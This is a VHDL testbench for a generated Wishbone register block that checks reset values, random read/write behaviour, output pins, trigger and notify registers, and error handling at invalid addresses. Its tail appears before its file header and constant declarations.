SIGNAL s_i_no_wo_ro_bit : STD_LOGIC;
SIGNAL s_i_no_wo_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_wo_wo_bit : STD_LOGIC;
SIGNAL s_o_no_wo_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_wo_tr_bit : STD_LOGIC;
SIGNAL s_o_no_wo_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_wo_twr : STD_LOGIC;
-----------------------------------------------------------------------------
-- TB Signals
-----------------------------------------------------------------------------
SIGNAL s_golden : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
SIGNAL s_sample : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
-----------------------------------------------------------------------------
-- FUNCTIONs
-----------------------------------------------------------------------------
PROCEDURE wait_for(VARIABLE flag : INOUT sim_lib.sim_pkg.shared_boolean) IS
BEGIN
LOOP
WAIT UNTIL rising_edge(clk);
IF flag.get THEN
EXIT;
END IF;
END LOOP;
END PROCEDURE;
--
FUNCTION byte_2_word_addr(byte_addr : STD_LOGIC_VECTOR) RETURN STD_LOGIC_VECTOR IS
VARIABLE word_addr : STD_LOGIC_VECTOR(g_addr_bits-1 DOWNTO 0);
BEGIN
word_addr := byte_addr(byte_addr'HIGH DOWNTO ceil_log2(g_data_bits/8));
RETURN word_addr;
END FUNCTION;
-----------------------------------------------------------------------------
BEGIN
f_create_clock(clk, g_system_clk);
-----------------------------------------------------------------------------
-- MAIN
-----------------------------------------------------------------------------
main : PROCESS
--
VARIABLE v_app_done_flag : BOOLEAN := FALSE;
VARIABLE v_spi_done_flag : BOOLEAN := FALSE;
--
VARIABLE RndA : RandomPType;
VARIABLE v_byte_addr : STD_LOGIC_VECTOR(g_addr_bits-1 DOWNTO 0);
VARIABLE v_data : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_reset : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_mask : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
VARIABLE v_be : STD_LOGIC_VECTOR(g_data_bits/8-1 DOWNTO 0);
VARIABLE pass : BOOLEAN;
VARIABLE v_wb_result : t_wbs_drv_in(data(g_data_bits-1 DOWNTO 0));
-- generate random vector of length nr_bits
IMPURE FUNCTION f_gen_rdm_vec(nr_bits : POSITIVE) RETURN STD_LOGIC_VECTOR IS
VARIABLE v_return : STD_LOGIC_VECTOR(nr_bits-1 DOWNTO 0);
BEGIN
v_return := RndA.Randslv(0, NATURAL'HIGH , nr_bits);
RETURN v_return;
END FUNCTION;
-- signals or variables ...
VARIABLE v_sample : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0) := (OTHERS => '0');
VARIABLE v_golden : STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0) := (OTHERS => '0');
-----------------------------------------------------------------------------
-- MAIN process body
-----------------------------------------------------------------------------
BEGIN -- p_main
-- Initialize
test_runner_setup(runner, runner_cfg);
RndA.InitSeed(RndA'instance_name);
checker_init(display_format => verbose,
file_format => verbose_csv,
file_name => "vunit_out/log.csv");
-- VUINIT Main Loop
WHILE test_suite LOOP
-- wbs idle state for some time...
wbs_idle(s_wbs_drv_out);
-- no rst_n !!!
WAIT FOR 100 ns;
IF run("Test") THEN
-- Generate some random Tests for all registers
-- Check ReadWrite register
info("Checking Register: ReadWrite");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_read_write, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_read_write'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_rw_slice0;
v_sample(15 DOWNTO 8) := s_o_rw_slice1;
v_sample(3) := s_o_rw_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check ReadOnly register
info("Checking Register: ReadOnly");
-- check reset value
-- this is only possible before first rising_edge of clk!
-- TODO! adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_read_only, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := b"UUUU_UUUU_UUUU_UUUU_UUUU_UUUU_0000_U000"; -- if input pins are not driven, then undefined!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");v_reset := x"00000000";
-- after first rising_edge of clk register is set by IO pins
-- drive pin/vector values, combine slices
report "Driving IO inputs with reset value";
s_i_ro_slice0 <= v_reset(31 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_slice1 <= v_reset(15 DOWNTO 8);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_bit <= v_reset(3);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_read_only'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- drive pin/vector values, combine slices
-- TODO: adapt for each register!
report "Driving IO inputs with random value";
s_i_ro_slice0 <= v_data(31 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_slice1 <= v_data(15 DOWNTO 8);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_ro_bit <= v_data(3);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read");
-- Write to Wishbone, check if register is really ro!
report "Write reset value to Wishbone";
wbs_write_reg(v_byte_addr, v_reset, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value, should not change for ro!
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
END LOOP; -- g_nr_of_writes
-- Check WriteOnly register
-- seems as if the value is only stored for one clk cycle ...
-- no register ??? only a trigger! Not the expexted behavior...
-- ERROR reported! Fix will come...
info("Checking Register: WriteOnly");
-- check reset value, read should not work, bur pins...
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_write_only, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
report "Sampling register output pins";
-- check pin/vector reset value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong IO pin/vector reset value");
-- check to read WriteOnly register, should fail!
--report "Read from Wishbone, expecting to fail...";
--wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--s_sample <= v_sample;
--WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--IF (check_equal(s_sample, s_golden, "Expected: register read reset value not working!", level => info)) THEN
-- info("Read Reset value matches... This was not expected!");
--ELSE
-- info("Expected to be here.");
--END IF;
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_write_only'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
WAIT FOR 1 ns; -- wait for 1 ns (one Delta cycle) for update of output signals
report "Sampling register output pins";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
report "Read from Wishbone, expecting to fail...";
-- check to read WriteOnly register, should fail!
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_false( (s_sample=s_golden), "Not expected: register read value matching!");
report "Sampling register output pins again";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_wo_slice0;
v_sample(15 DOWNTO 8) := s_o_wo_slice1;
v_sample(3) := s_o_wo_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check Trigger register
-- seems as if the value is only stored for one clk cycle ...
-- no register ??? only a trigger! Not the expexted behavior...
info("Checking Register: Trigger");
-- check reset value, read should not work, bur pins...
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_trigger, v_byte_addr'length));
v_mask := x"FFFFFF08";
v_reset := x"00000000";
-- DONE
report "Sampling register output pins";
-- check pin/vector reset value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong IO pin/vector reset value");
-- check to read WriteOnly register, should fail!
--report "Read from Wishbone, expecting to fail...";
--wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--s_sample <= v_sample;
--WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--IF (check_equal(s_sample, s_golden, "Expected: register read reset value not working!", level => info)) THEN
-- info("Read Reset value matches... This was not expected!");
--ELSE
-- info("Expected to be here.");
--END IF;
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_trigger'LENGTH);
-- DONEv_data := f_gen_rdm_vec(s_reg_trigger'LENGTH);
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
WAIT FOR 1 ns; -- wait for 1 ns (one Delta cycle) for update of output signals
report "Sampling register output pins";
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
report "Read from Wishbone, expecting to fail...";
-- check to read WriteOnly register, should fail!
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_false( (s_sample=s_golden), "Not expected: register read value matching!");
report "Sampling register output pins again with reset value";
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
v_sample := (OTHERS => '0');
v_sample(31 DOWNTO 16) := s_o_tr_slice0;
v_sample(15 DOWNTO 8) := s_o_tr_slice1;
v_sample(3) := s_o_tr_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Check Enum register
info("Checking Register: Enum");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_enum, v_byte_addr'length));
v_mask := x"80003000";
v_reset := x"80002000";
-- DONE
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_enum'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(13 DOWNTO 12) := s_o_en_slice;
v_sample(31) := s_o_en_bit;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- Notify Registers
-- same as above, with addional notify signals.
-- Check NotifyRw register
-- the following signals are generated:
-- s_o_no_rw_rw_bit rw checked
-- s_o_no_rw_rw_slice rw checked
-- s_i_no_rw_ro_bit ro checked
-- s_i_no_rw_ro_slice ro checked
-- s_o_no_rw_wo_bit trg write only trigger
-- s_o_no_rw_wo_slice trg write only trigger
-- s_o_no_rw_tr_bit trg ???
-- s_o_no_rw_tr_slice trg ???
-- additinal
-- s_o_notify_rw_trd trg read trigger
-- s_o_notify_rw_twr trg write trigger
-- TODO: check notify triggers !
info("Checking Register: NotifyRw");
-- check reset value
-- TODO: adapt for each register!
v_byte_addr := std_logic_vector(to_unsigned(c_addr_notify_rw, v_byte_addr'length));
v_mask := x"FFFF0000";
v_reset := x"6FUU6F6F"; -- ro bits 23 downto 16 are U (undefined), if not driven !!!
-- bits 15 downto 0 are wo/trg !!! No read possible!
-- DONE
report "Read Reset Value from Wishbone (with undefined RO pins)";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
--> as far as I can see the read wbs_read_reg doen't create a trigger...
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset AND v_mask; -- AND mask for slices;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
report "Driving ReadOnly IO inputs with reset value";
v_reset := x"6F6F6F6F"; -- ro bits 23 downto 16 are U (undefined), if not driven !!!
s_i_no_rw_ro_bit <= v_reset(23);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_slice <= v_reset(22 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
--> as far as I can see this creates a trigger o_notify_rw_trd
report "Read Reset Value from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_golden <= v_reset AND v_mask; -- AND mask for slices;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register reset value!");
-- write LOOP
FOR i IN 0 TO g_nr_of_writes-1 LOOP
-- Genereate Random Data
-- TODO change register
v_data := f_gen_rdm_vec(s_reg_notify_rw'LENGTH);
-- DONE
s_golden <= v_data AND v_mask; -- AND mask for slices
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- Write to Wishbone
report "Write to Wishbone";
wbs_write_reg(v_byte_addr, v_data, clk, s_wbs_drv_out, s_wbs_drv_in);
-- TODO: adapt for each register!
report "Driving IO inputs with random value";
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_bit <= v_data(23);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
s_i_no_rw_ro_slice <= v_data(22 DOWNTO 16);
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
-- use vunit check_equal check_api to
-- check register value
report "Read from Wishbone";
wbs_read_reg(v_byte_addr, v_sample, clk, s_wbs_drv_out, s_wbs_drv_in);
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
check_equal(s_sample, s_golden, "wrong register value read back");
report "Sampling register output pins";
-- check pin/vector value, combine slices
-- TODO: adapt for each register!
v_sample := (OTHERS => '0');
v_sample(31) := s_o_no_rw_rw_bit;
v_sample(30 DOWNTO 24) := s_o_no_rw_rw_slice;
v_sample(23) := s_i_no_rw_ro_bit;
v_sample(22 DOWNTO 16) := s_i_no_rw_ro_slice;
s_sample <= v_sample;
WAIT FOR 0 ns; -- wait one Delta cycle to update signal
-- DONE
check_equal(s_sample, s_golden, "wrong IO pin/vector value");
END LOOP; -- g_nr_of_writes
-- write to invalid address
WAIT FOR 100 ns;
report "Write to invalid address -> check error assignment";
wbs_transmit(c_addr_invalid_slv, c_wb_dat_max, v_sample, c_wb_we_write, c_wb_sel_max, clk, s_wbs_drv_out, s_wbs_drv_in, v_wb_result);
check_equal(v_wb_result.ack, '0', "erroneous ACK assignment @ write access to invalid address");
check_equal(v_wb_result.err, '1', "erroneous ERR assignment @ write access to invalid address");
check_equal(v_wb_result.rty, '0', "erroneous RTY assignment @ write access to invalid address");
-- read from invalid address
WAIT FOR 100 ns;
report "Read from invalid address -> check error assignment";
wbs_transmit(c_addr_invalid_slv, c_wb_dat_max, v_sample, c_wb_we_read, c_wb_sel_max, clk, s_wbs_drv_out, s_wbs_drv_in, v_wb_result);
check_equal(v_wb_result.ack, '0', "erroneous ACK assignment @ read access to invalid address");
check_equal(v_wb_result.err, '1', "erroneous ERR assignment @ read access to invalid address");
check_equal(v_wb_result.rty, '0', "erroneous RTY assignment @ read access to invalid address");
END IF;
REPORT "TB Done";
END LOOP;
test_runner_cleanup(runner);
END PROCESS main;
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
-- DUT (wbs_test)
-----------------------------------------------------------------------------
gen_dut_std : IF (g_use_notify_wbs = FALSE) GENERATE
BEGIN
dut : ENTITY tb_lib.wbs_test
GENERIC MAP (
g_addr_bits => g_addr_bits)
PORT MAP (
-- SYSCON, no rst, rst_n
clk => clk,
-- Wishbone
i_wb_cyc => s_wbs_drv_out.cyc,
i_wb_stb => s_wbs_drv_out.stb,
i_wb_we => s_wbs_drv_out.we,
i_wb_sel => s_wbs_drv_out.sel,
i_wb_addr => s_wbs_drv_out.addr,
i_wb_data => s_wbs_drv_out.data,
o_wb_data => s_wbs_drv_in.data,
o_wb_ack => s_wbs_drv_in.ack,
o_wb_rty => s_wbs_drv_in.rty,
o_wb_err => s_wbs_drv_in.err,
-- IO Signals
o_rw_slice0 => s_o_rw_slice0,
o_rw_slice1 => s_o_rw_slice1,
o_rw_bit => s_o_rw_bit,
i_ro_slice0 => s_i_ro_slice0,
i_ro_slice1 => s_i_ro_slice1,
i_ro_bit => s_i_ro_bit,
o_wo_slice0 => s_o_wo_slice0,
o_wo_slice1 => s_o_wo_slice1,
o_wo_bit => s_o_wo_bit,
o_tr_slice0 => s_o_tr_slice0,
o_tr_slice1 => s_o_tr_slice1,
o_tr_bit => s_o_tr_bit,
o_en_bit => s_o_en_bit,
o_en_slice => s_o_en_slice,
o_no_rw_rw_bit => s_o_no_rw_rw_bit,
o_no_rw_rw_slice => s_o_no_rw_rw_slice,
i_no_rw_ro_bit => s_i_no_rw_ro_bit,
i_no_rw_ro_slice => s_i_no_rw_ro_slice,
o_no_rw_wo_bit => s_o_no_rw_wo_bit,
o_no_rw_wo_slice => s_o_no_rw_wo_slice,
o_no_rw_tr_bit => s_o_no_rw_tr_bit,
o_no_rw_tr_slice => s_o_no_rw_tr_slice,
o_notify_rw_trd => s_o_notify_rw_trd,
o_notify_rw_twr => s_o_notify_rw_twr,
o_no_ro_rw_bit => s_o_no_ro_rw_bit,
o_no_ro_rw_slice => s_o_no_ro_rw_slice,
i_no_ro_ro_bit => s_i_no_ro_ro_bit,
i_no_ro_ro_slice => s_i_no_ro_ro_slice,
o_no_ro_wo_bit => s_o_no_ro_wo_bit,
o_no_ro_wo_slice => s_o_no_ro_wo_slice,
o_no_ro_tr_bit => s_o_no_ro_tr_bit,
o_no_ro_tr_slice => s_o_no_ro_tr_slice,
o_notify_ro_trd => s_o_notify_ro_trd,
o_no_wo_rw_bit => s_o_no_wo_rw_bit,
o_no_wo_rw_slice => s_o_no_wo_rw_slice,
i_no_wo_ro_bit => s_i_no_wo_ro_bit,
i_no_wo_ro_slice => s_i_no_wo_ro_slice,
o_no_wo_wo_bit => s_o_no_wo_wo_bit,
o_no_wo_wo_slice => s_o_no_wo_wo_slice,
o_no_wo_tr_bit => s_o_no_wo_tr_bit,
o_no_wo_tr_slice => s_o_no_wo_tr_slice,
o_notify_wo_twr => s_o_notify_wo_twr);
END GENERATE gen_dut_std;
-----------------------------------------------------------------------------
-- DUT (wbs_test_notify)
-----------------------------------------------------------------------------
gen_dut_notify : IF (g_use_notify_wbs = TRUE) GENERATE
BEGIN
dut : ENTITY tb_lib.wbs_test_notify
GENERIC MAP (
g_addr_bits => g_addr_bits)
PORT MAP (
-- SYSCON, no rst, rst_n
clk => clk,
-- Wishbone
i_wb_cyc => s_wbs_drv_out.cyc,
i_wb_stb => s_wbs_drv_out.stb,
i_wb_we => s_wbs_drv_out.we,
i_wb_sel => s_wbs_drv_out.sel,
i_wb_addr => s_wbs_drv_out.addr,
i_wb_data => s_wbs_drv_out.data,
o_wb_data => s_wbs_drv_in.data,
o_wb_ack => s_wbs_drv_in.ack,
o_wb_rty => s_wbs_drv_in.rty,
o_wb_err => s_wbs_drv_in.err,
-- IO Signals
o_rw_slice0 => s_o_rw_slice0,
o_rw_slice1 => s_o_rw_slice1,
o_rw_bit => s_o_rw_bit,
i_ro_slice0 => s_i_ro_slice0,
i_ro_slice1 => s_i_ro_slice1,
i_ro_bit => s_i_ro_bit,
o_wo_slice0 => s_o_wo_slice0,
o_wo_slice1 => s_o_wo_slice1,
o_wo_bit => s_o_wo_bit,
o_tr_slice0 => s_o_tr_slice0,
o_tr_slice1 => s_o_tr_slice1,
o_tr_bit => s_o_tr_bit,
o_en_bit => s_o_en_bit,
o_en_slice => s_o_en_slice,
o_no_rw_rw_bit => s_o_no_rw_rw_bit,
o_no_rw_rw_slice => s_o_no_rw_rw_slice,
i_no_rw_ro_bit => s_i_no_rw_ro_bit,
i_no_rw_ro_slice => s_i_no_rw_ro_slice,
o_no_rw_wo_bit => s_o_no_rw_wo_bit,
o_no_rw_wo_slice => s_o_no_rw_wo_slice,
o_no_rw_tr_bit => s_o_no_rw_tr_bit,
o_no_rw_tr_slice => s_o_no_rw_tr_slice,
o_notify_rw_trd => s_o_notify_rw_trd,
o_notify_rw_twr => s_o_notify_rw_twr,
o_no_ro_rw_bit => s_o_no_ro_rw_bit,
o_no_ro_rw_slice => s_o_no_ro_rw_slice,
i_no_ro_ro_bit => s_i_no_ro_ro_bit,
i_no_ro_ro_slice => s_i_no_ro_ro_slice,
o_no_ro_wo_bit => s_o_no_ro_wo_bit,
o_no_ro_wo_slice => s_o_no_ro_wo_slice,
o_no_ro_tr_bit => s_o_no_ro_tr_bit,
o_no_ro_tr_slice => s_o_no_ro_tr_slice,
o_notify_ro_trd => s_o_notify_ro_trd,
o_no_wo_rw_bit => s_o_no_wo_rw_bit,
o_no_wo_rw_slice => s_o_no_wo_rw_slice,
i_no_wo_ro_bit => s_i_no_wo_ro_bit,
i_no_wo_ro_slice => s_i_no_wo_ro_slice,
o_no_wo_wo_bit => s_o_no_wo_wo_bit,
o_no_wo_wo_slice => s_o_no_wo_wo_slice,
o_no_wo_tr_bit => s_o_no_wo_tr_bit,
o_no_wo_tr_slice => s_o_no_wo_tr_slice,
o_notify_wo_twr => s_o_notify_wo_twr);
END GENERATE gen_dut_notify;
END ARCHITECTURE tb;
-------------------------------------------------------------------------------
|
-------------------------------------------------------------------------------
-- COPYRIGHT (c) SOLECTRIX GmbH, Germany, 2013 All rights reserved
--
-- The copyright to the document(s) herein is the property of SOLECTRIX GmbH
-- The document(s) may be used and/or copied only with the written permission
-- from SOLECTRIX GmbH or in accordance with the terms/conditions stipulated
-- in the agreement/contract under which the document(s) have been supplied
-------------------------------------------------------------------------------
-- Project :
-- File : tb_wbs_test.vhd
-- Created : 23.11.2016
-- Standard : VHDL 2008
-------------------------------------------------------------------------------
--*
--* @short wbs_test Testbench
--* TestBench for sxl wb generator (tcl)
--*
--* @author mgoertz
--* @date 23.11.2016
--* @internal
--/
-------------------------------------------------------------------------------
-- Modification history :
-- Date Author & Description
-- 23.11.2016 mgoertz: Created
-------------------------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
USE ieee.math_real.ALL;
LIBRARY osvvm;
USE osvvm.RandomPkg.all;
LIBRARY vunit_lib;
CONTEXT vunit_lib.vunit_context;
LIBRARY fun_lib;
USE fun_lib.math_pkg.ALL;
LIBRARY sim_lib;
USE sim_lib.sim_pkg.ALL;
USE sim_lib.wbs_drv_pkg.ALL;
LIBRARY rtl_lib;
LIBRARY tb_lib;
USE STD.textio.ALL;
-------------------------------------------------------------------------------
ENTITY tb_wbs_test IS
GENERIC(
runner_cfg : runner_cfg_t;
g_system_clk : REAL := 150.0E6;
g_nr_of_writes : NATURAL := 10;
g_data_bits : POSITIVE := 32;
g_addr_bits : INTEGER := 16;
g_use_notify_wbs : BOOLEAN := FALSE);
BEGIN
-- to be checked ...
ASSERT g_addr_bits MOD 8 = 0
REPORT "g_addr_bits has to be a multiple of 4!"
SEVERITY FAILURE;
END ENTITY tb_wbs_test;
-------------------------------------------------------------------------------
ARCHITECTURE tb OF tb_wbs_test IS
-----------------------------------------------------------------------------
--
-----------------------------------------------------------------------------
SIGNAL clk : STD_LOGIC := '0';
--
SHARED VARIABLE sv_gen_rdm_writes_start : sim_lib.sim_pkg.shared_boolean;
SHARED VARIABLE sv_gen_rdm_writes_done : sim_lib.sim_pkg.shared_boolean;
--
SUBTYPE t_data_word IS STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
PACKAGE array_pkg IS NEW sim_lib.array_pkg
GENERIC MAP (data_type => t_data_word);
SHARED VARIABLE sv_memory_array : array_pkg.t_array;
-----------------------------------------------------------------------------
-- Constants
-----------------------------------------------------------------------------
CONSTANT c_addr_read_write : INTEGER := 16#0000#;
CONSTANT c_addr_read_only : INTEGER := 16#0004#;
CONSTANT c_addr_write_only : INTEGER := 16#0008#;
CONSTANT c_addr_trigger : INTEGER := 16#000C#;
CONSTANT c_addr_enum : INTEGER := 16#0010#;
CONSTANT c_addr_notify_rw : INTEGER := 16#0014#;
CONSTANT c_addr_notify_ro : INTEGER := 16#0018#;
CONSTANT c_addr_notify_wo : INTEGER := 16#001C#;
